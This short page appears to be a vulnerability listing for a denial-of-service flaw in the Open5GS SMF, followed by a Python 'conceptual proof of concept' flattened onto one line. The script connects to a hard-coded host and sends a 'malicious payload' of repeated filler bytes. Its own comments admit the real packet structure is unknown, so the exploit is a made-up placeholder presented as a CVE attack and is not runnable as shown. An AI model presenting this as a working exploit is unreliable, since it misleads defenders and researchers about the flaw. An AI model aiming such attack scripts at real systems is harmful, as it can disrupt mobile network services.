CVE-2026-8267 Open5GS SMF拒绝服务漏洞

import socket import struct # Conceptual Proof of Concept for CVE-2026-8267 # This script attempts to trigger the DoS in Open5GS SMF # by sending a crafted packet to the vulnerable function. def trigger_dos(target_ip, target_port): print(f"[*] Connecting to {target_ip}:{target_port}...") try: # Create a raw socket or use appropriate protocol socket (e.g., SCTP or HTTP) # Assuming standard network communication for demonstration sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Crafted payload designed to trigger the flaw in smf_nsmf_handle_created_data_in_vsmf # The specific bytes would depend on the protocol structure (e.g., NAS, NGAP, or HTTP API) # This represents a malformed data structure. malicious_payload = b"\x00\x01\x02\x03" * 100 + b"\xFF\xFF\xFF\xFF" print("[*] Sending malicious payload...") sock.send(malicious_payload) response = sock.recv(1024) print(f"[+] Received response (might be empty if crashed): {response}") except Exception as e: print(f"[!] Connection failed or service crashed: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target details TARGET = "192.168.1.10" PORT = 7777 # Example port, actual SMF interface may vary trigger_dos(TARGET, PORT)